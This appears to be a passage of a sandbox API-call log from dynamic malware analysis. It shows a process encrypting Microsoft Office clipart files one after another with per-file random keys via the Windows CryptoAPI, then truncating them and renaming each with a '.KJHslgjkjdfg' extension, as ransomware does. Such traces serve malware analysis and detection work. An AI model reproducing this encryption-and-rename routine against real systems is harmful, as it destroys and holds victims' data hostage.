[0158.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.155] SetEndOfFile (hFile=0x114) returned 1 [0158.158] GetProcessHeap () returned 0x2a0000 [0158.158] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.158] GetProcessHeap () returned 0x2a0000 [0158.158] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.kjhslgjkjdfg")) returned 1 [0158.159] CloseHandle (hObject=0x114) returned 1 [0158.159] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0158.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.162] GetProcessHeap () returned 0x2a0000 [0158.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.162] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.164] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.165] GetProcessHeap () returned 0x2a0000 [0158.165] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.165] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.165] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.165] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.165] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.165] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.166] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.166] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.166] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.166] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.166] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8d6, lpOverlapped=0x0) returned 1 [0158.166] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0) returned 1 [0158.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.167] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8e0, lpOverlapped=0x0) returned 1 [0158.167] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.167] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.167] SetEndOfFile (hFile=0x114) returned 1 [0158.169] GetProcessHeap () returned 0x2a0000 [0158.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.169] GetProcessHeap () returned 0x2a0000 [0158.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.kjhslgjkjdfg")) returned 1 [0158.171] CloseHandle (hObject=0x114) returned 1 [0158.171] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0158.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.172] GetProcessHeap () returned 0x2a0000 [0158.172] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.172] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.173] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.175] GetProcessHeap () returned 0x2a0000 [0158.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0158.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0158.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.175] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0158.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.175] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.176] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8d6, lpOverlapped=0x0) returned 1 [0158.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0) returned 1 [0158.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.176] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8e0, lpOverlapped=0x0) returned 1 [0158.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.176] SetEndOfFile (hFile=0x114) returned 1 [0158.178] GetProcessHeap () returned 0x2a0000 [0158.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0158.178] GetProcessHeap () returned 0x2a0000 [0158.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.kjhslgjkjdfg")) returned 1 [0158.180] CloseHandle (hObject=0x114) returned 1 [0158.180] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0158.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.181] GetProcessHeap () returned 0x2a0000 [0158.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.181] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0158.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.184] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.184] GetProcessHeap () returned 0x2a0000 [0158.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.184] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.184] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.184] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.185] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.185] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b3a, lpOverlapped=0x0) returned 1 [0158.186] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b40, dwBufLen=0x1b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b40) returned 1 [0158.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.186] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b40, lpOverlapped=0x0) returned 1 [0158.186] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.186] SetEndOfFile (hFile=0x114) returned 1 [0158.189] GetProcessHeap () returned 0x2a0000 [0158.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.189] GetProcessHeap () returned 0x2a0000 [0158.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.kjhslgjkjdfg")) returned 1 [0158.190] CloseHandle (hObject=0x114) returned 1 [0158.190] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0158.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.192] GetProcessHeap () returned 0x2a0000 [0158.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.192] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.194] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.194] GetProcessHeap () returned 0x2a0000 [0158.195] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0158.195] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0158.195] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.195] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0158.195] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.195] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.195] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.195] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.195] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.195] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.195] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1496, lpOverlapped=0x0) returned 1 [0158.196] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0) returned 1 [0158.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.197] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14a0, lpOverlapped=0x0) returned 1 [0158.197] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.197] SetEndOfFile (hFile=0x114) returned 1 [0158.199] GetProcessHeap () returned 0x2a0000 [0158.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0158.199] GetProcessHeap () returned 0x2a0000 [0158.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.kjhslgjkjdfg")) returned 1 [0158.201] CloseHandle (hObject=0x114) returned 1 [0158.201] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, 